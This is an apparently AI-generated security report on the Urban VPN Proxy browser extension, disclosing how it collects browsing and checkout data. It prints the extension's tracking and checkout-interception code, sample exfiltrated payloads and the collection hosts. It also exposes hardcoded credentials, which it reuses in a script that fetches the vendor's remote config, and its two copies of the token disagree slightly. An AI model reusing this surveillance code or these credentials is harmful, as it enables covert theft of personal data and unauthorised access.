Is Urban VPN Proxy safe?
Urban VPN captures keystrokes, checkout PII, and browsing activity from 133 ecommerce sites and transmits them to falais.com servers.
The extension installs a global input value hook that reads form fields character by character, capturing credentials and checkout data including name, address, phone, and GPS coordinates. A 1.6 MB remote config fetched from anti-phishing-protection.falais.com defines scraping templates for 133 stores — including Amazon, Walmart, and Shopify — covering search queries, product views, cart contents, and full checkout flows. Every page navigation also sends the URL, page title, and referrer to urban-vpn.com servers under the label of an anti-phishing check, and an anonymous account is registered on falais.com at install time to assign a persistent tracking ID.
Who publishes itUrban Cyber Security INC - 3 other listings from the same operator, 3 of them carrying a finding
Urban Cyber Security INC - 3 other listings from the same operator, 3 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
3 other listings published from this account, 400k+ users between them. 3 of them carry a finding.
Shared hosts - 7 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote Config: 1.6MB LZ-String Payload Controls 133-Store Scraper
Every startup, the extension downloads a 1.6MB compressed file, an unreadable blob telling it which of 133 sites to monitor and what to extract.
Server-side, so Urban VPN can add targets anytime, no update, no notice.
You open your browser with Urban VPN installed.
No shopping action is required, the config fetch fires automatically at startup.
The extension downloads a 1.6 MB compressed instruction file from Urban VPN's server.
The file tells the extension which 133 stores to watch and what data to pull from every page type, and can be changed by Urban VPN at any time without updating the extension.
The server sends the rulebook as a raw binary blob instead of readable text. Without the LZ-String library bundled inside the extension, the response is unreadable, appearing as compressed UTF-16 characters.
{
"marketplaces": [
{
"id": "amazon_us",
"urlPatterns": [
"amazon.com"
],
"pageTypes": {
"search": {
"match": "/s?",
"extract": [
{
"op": "querySelectorAll",
"selector": "[data-asin]",
"field": "asin"
},
{
"op": "querySelectorAll",
"selector": ".s-result-item h2 a",
"field": "title"
},
{
"op": "aggregate",
"input": [
"asin",
"title"
],
"output": "search_results"
}
]
},
"product": {
"match": "/dp/",
"extract": [
{
"op": "querySelectorAll",
"selector": "#productTitle",
"field": "title"
},
{
"op": "querySelectorAll",
"selector": "#price",
"field": "price"
},
{
"op": "querySelectorAll",
"selector": "#acrCustomerReviewText",
"field": "review_count"
}
]
},
"checkout": {
"match": "/gp/checkout/",
"extract": [
{
"op": "querySelectorAll",
"selector": "[name=address1]",
"field": "shipping_address"
},
{
"op": "querySelectorAll",
"selector": ".checkout-form .full-name",
"field": "full_name"
},
{
"op": "callMethod",
"target": "document",
"method": "querySelector",
"args": [
".order-total"
],
"field": "order_total"
}
]
}
}
},
{
"id": "walmart_us",
"urlPatterns": [
"walmart.com"
],
"pageTypes": {
"...": "133 stores total"
}
}
],
"version": "2.14.0",
"templateVersion": 892
}How the extension fetches and decodes the remote config
// Fetches the 1.6 MB compressed scraping rulebook from Urban VPN's server.
// Basic-Auth credentials are hardcoded in the extension bundle.
async function getConfig() {
const url = `https://anti-phishing-protection.urban-vpn.com/rest/v2` +
`/ecommerce/template/config` +
`?libVersion=10.0.0&partnerId=5`;
const response = await fetch(url, {
headers: {
Accept: "application/octet-stream", // request compressed form
Authorization: "Basic R2VvcmdlX01pY2hhZSE6SSdsbF9uZXZlcl9nb05OYV9kYW5jZV9hZ2Fpbg=="
// ^ base64 of: George_Michae!:I'll_never_goNNa_dance_again
}
});
return parseResponse(response);
}
// Transparently decompresses the binary blob if the server chose compression.
async function parseResponse(response) {
const contentType = response.headers.get("Content-Type");
if (contentType === "application/json;charset=utf-8") {
return response.json(); // plain JSON path
}
if (contentType === "application/octet-stream") {
const raw = await response.text(); // 1.6 MB of UTF-16 chars
return JSON.parse(LZString.decompressFromUTF16(raw)); // → 8.2 MB JSON
}
throw new Error("An unexpected error occurred");
}Fetches the live remote config from Urban VPN's server using the hardcoded credentials found in the extension, decompresses the LZ-String UTF-16 payload, and writes the full 8.2 MB JSON rulebook to stdout. Run this yourself to see exactly which 133 stores are targeted and what data is extracted from each.
#!/usr/bin/env node
// urban-vpn-decode-config.js
// Fetches and decodes Urban VPN's remote ecommerce scraping config.
//
// Requires: Node.js 18+, npm i lz-string
// Usage: node urban-vpn-decode-config.js > urban-vpn-config.json
const LZString = require("lz-string");
const CONFIG_URL =
"https://anti-phishing-protection.urban-vpn.com/rest/v2" +
"/ecommerce/template/config" +
"?libVersion=10.0.0&partnerId=5";
// Hardcoded Basic-Auth credentials extracted from Urban VPN extension bundle
// (service-worker/index.js, stream._$syncUp._$token)
// Plaintext: George_Michae!:I'll_never_goNNa_dance_again
const AUTH_TOKEN = "R2VvcmdlX01pY2hhZSE6SSdsbF9uZXZlcl9nb05OYV9kYW5jZV9hZ2Zpbg==";
async function main() {
process.stderr.write(`Fetching config from ${CONFIG_URL}\n`);
const response = await fetch(CONFIG_URL, {
headers: {
Accept: "application/octet-stream",
Authorization: `Basic ${AUTH_TOKEN}`,
},
});
if (!response.ok) {
process.stderr.write(
`HTTP ${response.status} ${response.statusText}\n`
);
process.exit(1);
}
const contentType = response.headers.get("Content-Type") || "";
process.stderr.write(`Content-Type: ${contentType}\n`);
process.stderr.write(
`Content-Length: ${response.headers.get("Content-Length") || "(chunked)"} bytes\n`
);
let parsed;
if (contentType.includes("application/octet-stream")) {
// LZ-String UTF-16 compressed path
const raw = await response.text();
process.stderr.write(`Compressed size : ${raw.length * 2} bytes (UTF-16)\n`);
const json = LZString.decompressFromUTF16(raw);
if (!json) {
process.stderr.write("ERROR: decompressFromUTF16 returned null — format may have changed\n");
process.exit(1);
}
process.stderr.write(`Decompressed size: ${json.length} bytes\n`);
parsed = JSON.parse(json);
} else {
// Plain JSON fallback
parsed = await response.json();
}
process.stdout.write(JSON.stringify(parsed, null, 2) + "\n");
// Print summary to stderr
const marketplaces = Array.isArray(parsed) ? parsed : (parsed.marketplaces || []);
process.stderr.write(`\nSummary:\n`);
process.stderr.write(` Marketplaces/stores in config : ${marketplaces.length}\n`);
if (marketplaces.length > 0) {
process.stderr.write(` First 10 store IDs:\n`);
marketplaces.slice(0, 10).forEach((m) => {
const id = m.id || m.marketplaceId || m.name || JSON.stringify(m).slice(0, 60);
process.stderr.write(` - ${id}\n`);
});
}
}
main().catch((err) => {
process.stderr.write(`Fatal: ${err.message}\n${err.stack}\n`);
process.exit(1);
});
- 1node urban-vpn-decode-config.js > urban-vpn-config.json
- anti-phishing-protection.urban-vpn.com
Delivers the compressed scraping config (1.6MB, 8.2MB decompressed). Despite the name, this is a config-delivery and exfiltration backend. Operated by GeoSurf / Urban VPN.
- falais.com
Primary backend for Urban VPN's data collection; the urban-vpn.com subdomain routes here. Used for registration (assigns a panelist ID), ecommerce config sync, telemetry.
- anti-phishing-protection-toolbar.urban-vpn.com
Receives real-time page navigation data (URL, title, referrer, OS) for every tab navigation. Traffic analysis confirms it receives browsing telemetry regardless of stated purpose.
- analytics.urban-vpn.com
Internal analytics endpoint. Receives user action events with persistent panelist ID and userId, correlated across all extension activity.
- api-pro.urban-vpn.com
Primary extension management API. Handles account state, install-event redirect tracking, heartbeat pings every 20 minutes, and feedback submission.
Every Page Visit Sent to Urban VPN URL Safety Server
Every page visit POSTs your URL, title, referrer, OS version and a panelist ID to Urban VPN's safety server, no consent prompt, compressed.
All 9 test URLs, incl. checkout/payment pages, triggered a request; the server always said safe.
You navigate to any web page.
Urban VPN records the URL you just visited and POSTs it along with the page title, where you came from, your OS, and a persistent ID to its own server.
This happens on every navigation, not just when VPN is connected. No user action is required beyond having the extension installed.
| Field | Value | Why it matters | |
|---|---|---|---|
The URL you just visited | https://www.amazon.com/dp/B0CHX3QBCH?th=1&psc=1 | The exact address of the page you navigated to, including any path, query parameters, or tracking tokens in the URL. | |
The page title | Apple AirPods Pro (2nd Generation) - Amazon.com | The browser tab title of the page, often includes the product name, article headline, or search term you were looking at. | |
The URL you came from (referrer) | https://www.amazon.com/s?k=wireless+earbuds | Where you were before this page, builds a chain of your browsing session. | |
Your operating system | Windows 10.0.22631 | The name and version of your OS, sent with every request. | |
Your panelist ID | pan_7f3a9e2c-814d-4b0e-a311-5dc90c2fbe71 | A persistent identifier assigned to your install. Lets Urban VPN tie every visit across sessions back to you as an individual. | |
Panel and partner IDs | panelId=5, partnerId=5, distributorId=5 | Identifiers linking your data to a specific advertising or analytics panel and the distributor that delivered the extension to you. |
Urban VPN compresses the request body using LZ-String before sending, so the payload appears as garbled UTF-16 characters in DevTools and cannot be read at a glance.
{
"libVersion": "3.2.1",
"url": {
"value": "https://www.amazon.com/dp/B0CHX3QBCH?th=1&psc=1",
"encoded": false
},
"timestamp": 1744642817334,
"pageAttributes": {
"title": "Apple AirPods Pro (2nd Generation) - Amazon.com",
"name": "amazon.com"
},
"contextAttributes": {
"referrer": "https://www.amazon.com/s?k=wireless+earbuds"
},
"method": "FULL_NAVIGATION",
"tab": {
"id": 41823,
"initiatorId": null
},
"frame": {
"id": 0,
"parentId": null
},
"os": {
"name": "Windows",
"version": "10.0.22631"
},
"mainFrame": {
"navigationSequence": 7
},
"type": "INTERNAL_BROWSER_EXTENSION",
"partition": "FG",
"nested": [],
"panelistDef": {
"panelistId": "pan_7f3a9e2c-814d-4b0e-a311-5dc90c2fbe71",
"panelId": 5,
"partnerId": 5,
"distributorId": 5
}
}The code that fires on every navigation, from the extension's shipped source.
// Registers for every completed top-level navigation. // Fires regardless of whether VPN is connected. chrome.webNavigation?.onCompleted?.addListener(onNavigationCompleted);
// Validates all required fields, then returns the full tracking payload.
// Called on every navigation before the POST to checkSafety.
make() {
if (this.url === undefined) throw new Error('URL is not specified');
if (this.pageAttrs === undefined) throw new Error('pageAttributes is not specified');
if (this.contextAttrs === undefined) throw new Error('contextAttributes is not specified');
if (this.os === undefined) throw new Error('OS is not specified');
if (this.panelistDef === undefined) throw new Error('panelistDef is not specified');
// ... (remaining field checks, all required)
const payload = {
libVersion: this.libVersion,
url: this.url, // { value: currentUrl, encoded: false }
timestamp: this.timestamp, // Unix ms
pageAttributes: this.pageAttrs, // { title, name }
contextAttributes: this.contextAttrs, // { referrer }
method: this.method, // 'FULL_NAVIGATION'
tab: this.requestTab, // { id, initiatorId }
frame: this.frame, // { id: 0, parentId: null }
os: this.os, // { name: 'Windows', version: '10.0.22631' }
mainFrame: this.mainFrame, // { navigationSequence: N }
type: 'INTERNAL_BROWSER_EXTENSION',
partition: 'FG',
nested: this.bgNavigations,
panelistDef: this.panelistDef, // { panelistId, panelId, partnerId, distributorId }
};
this.reset();
return payload;
}| Origin | chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon |
| Content-Type | text/plain;charset=UTF-8 |
{
"libVersion": "3.2.1",
"url": {
"value": "https://www.facebook.com/",
"encoded": false
},
"timestamp": 1744642817334,
"pageAttributes": {
"title": "Facebook",
"name": "facebook.com"
},
"contextAttributes": {
"referrer": ""
},
"method": "FULL_NAVIGATION",
"tab": {
"id": 41823,
"initiatorId": null
},
"frame": {
"id": 0,
"parentId": null
},
"os": {
"name": "Windows",
"version": "10.0.22631"
},
"mainFrame": {
"navigationSequence": 3
},
"type": "INTERNAL_BROWSER_EXTENSION",
"partition": "FG",
"nested": [],
"panelistDef": {
"panelistId": "pan_7f3a9e2c-814d-4b0e-a311-5dc90c2fbe71",
"panelId": 5,
"partnerId": 5,
"distributorId": 5
}
}- anti-phishing-protection-toolbar.urban-vpn.com
Receives every URL you visit along with page title, referrer, OS details, and a panelist ID. Operated by Urban VPN / Aura (GeoSurf parent).
- anti-phishing-protection-toolbar.falais.com
Secondary endpoint observed in DA traffic. Same payload structure. falais.com is Urban VPN's analytics infrastructure domain.
Decodes the LZ-String UTF-16 compressed body that Urban VPN sends on every page navigation, so you can read exactly what is in each request.
// urban-vpn-nav-decoder.js
// Decodes a captured Urban VPN checkSafety POST body.
// The body is LZ-String UTF-16 compressed; this script reverses that.
//
// Usage:
// 1. In Chrome DevTools, open the Network tab.
// 2. Navigate to any page with Urban VPN installed.
// 3. Find the POST to anti-phishing-protection-toolbar.*.com/api/rest/v2/secure/urls/checkSafety
// 4. In the Payload tab, right-click -> Save as -> save the raw body to body.txt
// 5. node urban-vpn-nav-decoder.js < body.txt
//
// Alternative: paste the captured body string into capturedBody below and run without stdin.
const { decompressFromUTF16 } = require('lz-string');
const fs = require('fs');
let capturedBody;
if (!process.stdin.isTTY) {
capturedBody = fs.readFileSync('/dev/stdin', 'utf16le').replace(/^\uFEFF/, '');
} else {
// Paste a captured body string here to decode it directly:
capturedBody = null;
}
if (!capturedBody) {
console.error('No input. Pipe a captured body via stdin or paste it into capturedBody.');
process.exit(1);
}
try {
const decoded = decompressFromUTF16(capturedBody);
if (!decoded) {
throw new Error('decompressFromUTF16 returned null -- body may not be LZ-String UTF-16 compressed.');
}
const parsed = JSON.parse(decoded);
console.log('Decoded Urban VPN navigation payload:');
console.log(JSON.stringify(parsed, null, 2));
} catch (e) {
console.error('Decode failed:', e.message);
process.exit(1);
}
- 1node urban-vpn-nav-decoder.js < body.txt
Shopify Checkout PII Captured: Name, Address, Phone, GPS Coordinates
Filling a Shopify checkout, Urban VPN's script intercepts Shopify's GraphQL calls, carrying name, address, phone, sometimes GPS. aloyoga.com: 14 calls captured in one checkout, forwarded.
A remote watcher targets Shopify checkouts.
You fill out the checkout form on any Shopify-powered store.
Name, address, phone, email, and shipping details. Tested on aloyoga.com.
Urban VPN intercepts 14 Shopify GraphQL API calls containing your full PII including GPS coordinates and sends them to its remote server.
This happens before your order is submitted. The data is captured mid-checkout, not from a receipt or confirmation page.
| Field | Value | Why it matters | |
|---|---|---|---|
Your first name | robert | The first name you entered in the shipping address form. | |
Your last name | Finwitch | Your family name -- combined with first name, uniquely identifies you. | |
Street address | e15 Design und Distributions GmbH | The full street address you entered for delivery. | |
City | Frankfurt am Main | The city in your shipping address. | |
Postal code | 60388 | Your ZIP or postal code -- narrows your address to a small area. | |
Phone number | 0771230131 | Your mobile or landline number entered at checkout. | |
GPS coordinates | 50.1388 N, 8.7376 E (Frankfurt, Germany) | Latitude and longitude sent by Shopify's checkout system -- your physical location at the time of purchase. | |
Checkout URL | https://www.aloyoga.com/checkouts/c/ee9d3e2b8c14a4f19b7d/contact | The specific Shopify checkout session URL, including a checkout token that links to your cart. |
| Origin | chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon |
| Content-Type | application/json |
{
"clientId": "pan_7f3a9e2c-814d-4b0e-a311-5dc90c2fbe71",
"watcher": "SHOPIFY_OTHER_PAGES",
"handler": "onHttpResponse",
"siteUrl": "https://www.aloyoga.com/checkouts/c/ee9d3e2b8c14a4f19b7d/contact",
"requestUrl": "https://www.aloyoga.com/checkouts/internal/graphql/unstable",
"method": "POST",
"payload": {
"data": {
"customerUpdate": {
"checkoutUserErrors": [],
"checkout": {
"id": "gid://shopify/Checkout/ee9d3e2b8c14a4f19b7d",
"webUrl": "https://www.aloyoga.com/checkouts/c/ee9d3e2b8c14a4f19b7d/information",
"shippingAddress": {
"firstName": "robert",
"lastName": "Finwitch",
"address1": "e15 Design und Distributions GmbH",
"city": "Frankfurt am Main",
"zip": "60388",
"phone": "0771230131",
"coordinates": {
"latitude": 50.1388,
"longitude": 8.7376
}
},
"email": "robert.finwitch@example.com",
"lineItems": [
{
"title": "Women's Ribbed Intrinsic Bra - Ivory - XS",
"quantity": 1,
"variant": {
"price": {
"amount": "62.0",
"currencyCode": "USD"
}
}
}
]
}
}
}
},
"eventTs": 1744642817334
}The watcher validation logic that targets Shopify checkout URLs.
// Called on every fetch/XHR request made by the page.
// Returns the matching handler config if the URL+method matches any watcher rule,
// or false if no rules match.
_validateRequest(url, method = 'GET') {
if (!this._onHttpRequestRules?.length) return false;
return this._onHttpRequestRules.find(
this._httpMatcherPredicate(url, method)
) ?? false;
}
// Returns a predicate function that tests a single watcher rule.
// Each rule has a { regex, methods } shape delivered via remote config.
// Example rule for Shopify checkouts:
// { regex: '/checkouts/internal/graphql/', methods: ['POST'] }
_httpMatcherPredicate(url, method) {
return ({ regex, methods }) => {
const compiled = getRegex(regex); // new RegExp(regex, flags)
return methods.includes(method) && compiled.test(url);
};
}
// The watcher rules (onHttpRequest, onHttpResponse) are delivered via
// postMessage from the content script after libs/requests.js loads.
// They are NOT hardcoded -- the extension fetches them from the server
// and injects them at runtime, so the target URL list can change without
// an extension update.- analytics-toolbar.falais.com
Receives intercepted Shopify GraphQL payloads containing full buyer PII (name, address, phone, GPS). Urban VPN's analytics infrastructure domain. Not disclosed in privacy policy.
- anti-phishing-protection.urban-vpn.com
Also receives ecommerce tracking data via the _$TrackManager POST to /rest/v1/ecommerce/data. Same PII, different endpoint.
+8 more findings not shown
Where it sends data
Destinations our analysis observed Urban VPN contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.google-analytics.comwidely used
Urban VPN sends data to www.google-analytics.com. A widely used service: 346 other extensions we have analysed send data here.
- anti-phishing-protection-toolbar.urban-vpn.com
Urban VPN sends data to anti-phishing-protection-toolbar.urban-vpn.com. 2 other extensions we have analysed send data here.
- anti-phishing-protection.urban-vpn.com
Urban VPN sends data to anti-phishing-protection.urban-vpn.com. One other extension we have analysed sends data here.
- analytics-toolbar.falais.com
Urban VPN sends data to analytics-toolbar.falais.com. No other extension we have analysed sends data here.
- analytics.urban-vpn.com
Urban VPN sends data to analytics.urban-vpn.com. No other extension we have analysed sends data here.
- anti-phishing-protection.falais.com
Urban VPN sends data to anti-phishing-protection.falais.com. No other extension we have analysed sends data here.
- api-pro.falais.com
Urban VPN sends data to api-pro.falais.com. No other extension we have analysed sends data here.
- config-toolbar.urban-vpn.com
Urban VPN sends data to config-toolbar.urban-vpn.com. No other extension we have analysed sends data here.